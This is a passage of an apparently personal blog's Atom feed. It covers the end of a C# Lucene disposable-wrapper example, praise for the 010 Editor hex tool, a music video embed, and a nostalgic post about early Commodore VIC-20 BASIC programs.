class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;23&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;24&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;25&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;26&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;static&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;class&lt;/span&gt; &lt;span class=&#34;nc&#34;&gt;DisposableExtensions&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;27&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;28&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;static&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Disposable&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;T&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;AsDisposable&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;T&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;(&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;this&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;T&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;entity&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Action&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;T&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;disposeAction&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;29&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;30&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Disposable&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;T&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;entity&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;disposeAction&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;31&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;32&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;33&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;34&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;class&lt;/span&gt; &lt;span class=&#34;nc&#34;&gt;LuceneDisposableExample&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;35&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;36&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;void&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Example&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;37&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;38&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;pathToIndex&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s&#34;&gt;@&amp;#34;C:\lucene\example\index&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;39&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;40&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;using&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;var&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;disposableReader&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;IndexReader&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Open&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;pathToIndex&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;true&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;).&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;AsDisposable&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;a&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;a&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Close&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()))&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;41&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;42&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;kt&#34;&gt;var&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;reader&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;disposableReader&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Entity&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;43&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;44&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;c1&#34;&gt;// .. whatever you want here... &lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;45&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;46&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;47&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;48&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This is available as a Gist here: &lt;a href=&#34;https://gist.github.com/thoward/673545&#34;&gt;https://gist.github.com/thoward/673545&lt;/a&gt;&lt;/p&gt;&#xA;</content>
	</entry>
	<entry>
		<title>010 Editor: My new favourite tool</title>
		<id>https://blog.thoward37.me/articles/010-editor</id>
		<link rel="alternate" href="https://blog.thoward37.me/articles/010-editor" type="text/html"></link>
		<link rel="via" href="https://blog.thoward37.me/articles/010-editor" type="text/html"></link>
		<link rel="related" href="https://blog.thoward37.me/articles/010-editor" type="text/html"></link>
		<published>2010-08-02T16:49:00+00:00</published>
		<updated>2010-08-02T16:49:00+00:00</updated>
		<author>
			<name>Troy Howard</name>
			<uri>https://blog.thoward37.me/</uri>
			<hypergraph:favicon>https://blog.thoward37.me/css/portland.png</hypergraph:favicon>
		</author>
		<summary type="html">&lt;p&gt;&lt;img src=&#34;010-screen.gif&#34; alt=&#34;010 editor screenshot&#34; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;During the course of my work, I use a hex editor a lot.&lt;/p&gt;&#xA;&lt;p&gt;Specifically, I use a hex editor mostly for reverse engineering binary file formats that have no documentation or for fixing corrupted files, and what not. One thing that I&#39;ve always wanted, was some way to view the binary contents as structured data. Like &amp;quot;Starting at this byte offset, consider the next four bytes to be an integer, and show me that integer, then, using that integer, take that many bytes immediately following it, consider them to be string data, and decode as UTF8 or EBCDIC...&amp;quot; etc.&lt;/p&gt;&#xA;&lt;p&gt;&lt;span class=&#34;more&#34;&gt;&lt;/span&gt;&lt;/p&gt;&#xA;&lt;p&gt;All that is fairly complex, and generally well beyond the facilities of anything short of a fairly low level and full-featured programming language.&lt;/p&gt;&#xA;&lt;p&gt;Well, looks like the folks over at &lt;a href=&#34;http://www.sweetscape.com/&#34;&gt;SweetScape&lt;/a&gt; realized this is a workflow that at least SOME people need to have… and so they built the perfect tool for doing that. It’s called the &lt;a href=&#34;http://www.sweetscape.com/010editor/&#34;&gt;010 Editor&lt;/a&gt;. It has this great feature called Binary Templates as well as scripts. It’s the bomb, and it’s accelerated my reverse engineering work by at least an order of magnitude.&lt;/p&gt;&#xA;&lt;p&gt;I’m buying a license, and anyone know know me will realize that’s a pretty big deal. I’m a big fan of FOSS and generally try to use as much of it as possible, avoiding commercial apps… but this is a big exception. SweetScape is a small company run by a father and son team. Hardly “The Man”. Lowell and Graeme Sweet — you rock the block and treat the bytes right. ;)&lt;/p&gt;&#xA;</summary>
		<content type="html">&lt;p&gt;&lt;img src=&#34;010-screen.gif&#34; alt=&#34;010 editor screenshot&#34; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;During the course of my work, I use a hex editor a lot.&lt;/p&gt;&#xA;&lt;p&gt;Specifically, I use a hex editor mostly for reverse engineering binary file formats that have no documentation or for fixing corrupted files, and what not. One thing that I&#39;ve always wanted, was some way to view the binary contents as structured data. Like &amp;quot;Starting at this byte offset, consider the next four bytes to be an integer, and show me that integer, then, using that integer, take that many bytes immediately following it, consider them to be string data, and decode as UTF8 or EBCDIC...&amp;quot; etc.&lt;/p&gt;&#xA;&lt;p&gt;&lt;span class=&#34;more&#34;&gt;&lt;/span&gt;&lt;/p&gt;&#xA;&lt;p&gt;All that is fairly complex, and generally well beyond the facilities of anything short of a fairly low level and full-featured programming language.&lt;/p&gt;&#xA;&lt;p&gt;Well, looks like the folks over at &lt;a href=&#34;http://www.sweetscape.com/&#34;&gt;SweetScape&lt;/a&gt; realized this is a workflow that at least SOME people need to have… and so they built the perfect tool for doing that. It’s called the &lt;a href=&#34;http://www.sweetscape.com/010editor/&#34;&gt;010 Editor&lt;/a&gt;. It has this great feature called Binary Templates as well as scripts. It’s the bomb, and it’s accelerated my reverse engineering work by at least an order of magnitude.&lt;/p&gt;&#xA;&lt;p&gt;I’m buying a license, and anyone know know me will realize that’s a pretty big deal. I’m a big fan of FOSS and generally try to use as much of it as possible, avoiding commercial apps… but this is a big exception. SweetScape is a small company run by a father and son team. Hardly “The Man”. Lowell and Graeme Sweet — you rock the block and treat the bytes right. ;)&lt;/p&gt;&#xA;</content>
	</entry>
	<entry>
		<title>The Temptation of Victoria</title>
		<id>https://blog.thoward37.me/articles/temptation-c-factory-writer-s-bernard</id>
		<link rel="alternate" href="https://blog.thoward37.me/articles/temptation-c-factory-writer-s-bernard" type="text/html"></link>
		<link rel="via" href="https://blog.thoward37.me/articles/temptation-c-factory-writer-s-bernard" type="text/html"></link>
		<link rel="related" href="https://blog.thoward37.me/articles/temptation-c-factory-writer-s-bernard" type="text/html"></link>
		<published>2010-03-10T00:00:00+00:00</published>
		<updated>2010-03-10T00:00:00+00:00</updated>
		<author>
			<name>Troy Howard</name>
			<uri>https://blog.thoward37.me/</uri>
			<hypergraph:favicon>https://blog.thoward37.me/css/portland.png</hypergraph:favicon>
		</author>
		<summary type="html">&lt;iframe width=&#34;800&#34; height=&#34;510&#34; src=&#34;//www.youtube.com/embed/5c4v881jh4w&#34; frameborder=&#34;0&#34; allowfullscreen&gt;&lt;/iframe&gt;&#xA;&lt;p&gt;&amp;quot;Temptation&amp;quot; © ; Factory / Writer(s); Bernard Sumner, Peter Hook, Stephen Morris, Gillian Gilbert&lt;/p&gt;&#xA;&lt;p&gt;&amp;quot;The Temptation of Victoria&amp;quot; © Michael Shamberg, Recorded; May 2005&lt;/p&gt;&#xA;</summary>
		<content type="html">&lt;iframe width=&#34;800&#34; height=&#34;510&#34; src=&#34;//www.youtube.com/embed/5c4v881jh4w&#34; frameborder=&#34;0&#34; allowfullscreen&gt;&lt;/iframe&gt;&#xA;&lt;p&gt;&amp;quot;Temptation&amp;quot; © ; Factory / Writer(s); Bernard Sumner, Peter Hook, Stephen Morris, Gillian Gilbert&lt;/p&gt;&#xA;&lt;p&gt;&amp;quot;The Temptation of Victoria&amp;quot; © Michael Shamberg, Recorded; May 2005&lt;/p&gt;&#xA;</content>
	</entry>
	<entry>
		<title>Big Data</title>
		<id>https://blog.thoward37.me/articles/big-data</id>
		<link rel="alternate" href="https://blog.thoward37.me/articles/big-data" type="text/html"></link>
		<link rel="via" href="https://blog.thoward37.me/articles/big-data" type="text/html"></link>
		<link rel="related" href="https://blog.thoward37.me/articles/big-data" type="text/html"></link>
		<published>2010-02-12T20:31:00+00:00</published>
		<updated>2010-02-12T20:31:00+00:00</updated>
		<author>
			<name>Troy Howard</name>
			<uri>https://blog.thoward37.me/</uri>
			<hypergraph:favicon>https://blog.thoward37.me/css/portland.png</hypergraph:favicon>
		</author>
		<summary type="html">&lt;p&gt;When I was a kid (7 years old) I got my first computer. At that time, using a computer meant programming a computer.&lt;/p&gt;&#xA;&lt;p&gt;My Commodore vic20 didn&#39;t have a storage device when I got it (I got a tape drive later on). So, if you turned it off, the in-memory program was gone. You had to type it in again the next time you started up the computer.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;vic20.jpg&#34; alt=&#34;Commodore VIC20&#34; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;span class=&#34;more&#34;&gt;&lt;/span&gt;&lt;/p&gt;&#xA;&lt;p&gt;I remember learning about programming. One of my first programs was just:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nl&#34;&gt;10&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;kr&#34;&gt;PRINT&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;TROY&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;I was delighted to see my name show up on the screen. The computer &lt;em&gt;knew me&lt;/em&gt; now. &lt;em&gt;I&lt;/em&gt; was being reflected back from the screen in glowing pixels. I was able to take a little piece of me, and put it into the computer, and the computer was letting me look at it; letting me learn about myself, and learn about the computer, at the same time. I was hooked.&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nl&#34;&gt;10&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;kr&#34;&gt;FOR&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;vg&#34;&gt;I&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;il&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;k&#34;&gt;TO&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;il&#34;&gt;10&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;  &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;&lt;/span&gt;&lt;span class=&#34;nl&#34;&gt;20&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;kr&#34;&gt;PRINT&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;TROY&amp;#34;&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;  &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;3&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;&lt;/span&gt;&lt;span class=&#34;nl&#34;&gt;30&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;kr&#34;&gt;NEXT&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This blew my mind. While there was something magical about seeing my name on the screen the first time. Seeing it &lt;strong&gt;ten&lt;/strong&gt; times was just &lt;em&gt;really really&lt;/em&gt; exciting. Something about the quantity was just really cool... and how &lt;em&gt;FAST&lt;/em&gt; it happened. It put my name up there ten times as fast as it put it up there one time!! Thrilling!!&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nl&#34;&gt;10&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;kr&#34;&gt;PRINT&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;TROY&amp;#34;&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;  &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;&lt;/span&gt;&lt;span class=&#34;nl&#34;&gt;20&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;kr&#34;&gt;GOTO&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;nl&#34;&gt;10&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The screen was filled with my name.... and it didn&#39;t stop. I got up and I ran to tell my mom. I drug her downstairs into the basement and babbled on about the computer and how it was just going and going, and how I did it. &lt;code&gt;GOTO&lt;/code&gt; mom... &lt;code&gt;GOTO&lt;/code&gt;! My excitement was more than I could contain. I was officially a rocket scientist now. My excitement, like the program, was &lt;strong&gt;INFINITE!!!&lt;/strong&gt; I created something that was endless, infinitely long. There was no way to count how many times it put my name on the screen. My computer, at that moment, knew only one thing — my name, my program, and it would run it forever until I told it to stop. &lt;em&gt;Happily.&lt;/em&gt; This was a kind of love and dedication that was far beyond what any person could ever give. There was something really deep here, between me and the computer.&lt;/p&gt;&#xA;&lt;p&gt;Fast forward, 24 years later. I&#39;m a software engineer for a living now, and have been for a while. At my company, I recently got promoted to a fancier title &lt;strong&gt;Director of Software Development&lt;/strong&gt;, and all the responsibility for success lies on my shoulders. People answer my job advertisements with the salutation &lt;strong&gt;&amp;quot;Mr. Howard&amp;quot;&lt;/strong&gt;. That part freaks me out.&lt;/p&gt;&#xA;&lt;p&gt;I&#39;m still excited by &lt;em&gt;big data&lt;/em&gt;. That infinite loop of &lt;code&gt;TROY&lt;/code&gt;s on my screen was just the start. Now I design systems that process terabytes of data at a time on hundreds of servers. One of the most fascinating parts of my job these days is still the same as when I was a kid. I love hitting &lt;code&gt;run&lt;/code&gt; on a unit test, and seeing what happens. I feel good when it&#39;s successful once. My next step, almost without fail, is to see what happens when it runs ten times in a row.. Then &lt;code&gt;100&lt;/code&gt;... Then &lt;code&gt;1000&lt;/code&gt;... &lt;code&gt;10000&lt;/code&gt;... &lt;code&gt;100000&lt;/code&gt;... I just keep adding zeros until the thing breaks down, or until I get bored with it.&lt;/p&gt;&#xA;&lt;p&gt;Big Data is still exciting, still fascinating. I&#39;ve now given my computer programs more interesting sample material to work from, and so their worldview has expanded. Now instead of only knowing me and my name, my programs know all the details of the personal and business lives of thousands of people whose email is processed by the programs. I think my computer still loves &lt;em&gt;me&lt;/em&gt; more than any of &lt;em&gt;them&lt;/em&gt; though. Secretly, somewhere in there, I know there&#39;s an infinite loop on a background thread that&#39;s just cycling over the string &lt;code&gt;TROY&lt;/code&gt;... forever.&lt;/p&gt;&#xA;</summary>
		<content type="html">&lt;p&gt;When I was a kid (7 years old) I got my first computer. At that time, using a computer meant programming a computer.&lt;/p&gt;&#xA;&lt;p&gt;My Commodore vic20 didn&#39;t have a storage device when I got it (I got a tape drive later on). So, if you turned it off, the in-memory program was gone. You had to type it in again the next time you started up the computer.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;vic20.jpg&#34; alt=&#34;Commodore VIC20&#34; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;span class=&#34;more&#34;&gt;&lt;/span&gt;&lt;/p&gt;&#xA;&lt;p&gt;I remember learning about programming. One of my first programs was just:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nl&#34;&gt;10&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;kr&#34;&gt;PRINT&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;TROY&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;I was delighted to see my name show up on the screen. The computer &lt;em&gt;knew me&lt;/em&gt; now. &lt;em&gt;I&lt;/em&gt; was being reflected back from the screen in glowing pixels. I was able to take a little piece of me, and put it into the computer, and the computer was letting me look at it; letting me learn about myself, and learn about the computer, at the same time. I was hooked.&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nl&#34;&gt;10&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;kr&#34;&gt;FOR&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;vg&#34;&gt;I&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;il&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;k&#34;&gt;TO&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;il&#34;&gt;10&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;  &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;&lt;/span&gt;&lt;span class=&#34;nl&#34;&gt;20&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;kr&#34;&gt;PRINT&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;TROY&amp;#34;&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;  &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;3&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;&lt;/span&gt;&lt;span class=&#34;nl&#34;&gt;30&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;kr&#34;&gt;NEXT&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This blew my mind. While there was something magical about seeing my name on the screen the first time. Seeing it &lt;strong&gt;ten&lt;/strong&gt; times was just &lt;em&gt;really really&lt;/em&gt; exciting. Something about the quantity was just really cool... and how &lt;em&gt;FAST&lt;/em&gt; it happened. It put my name up there ten times as fast as it put it up there one time!! Thrilling!!&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span 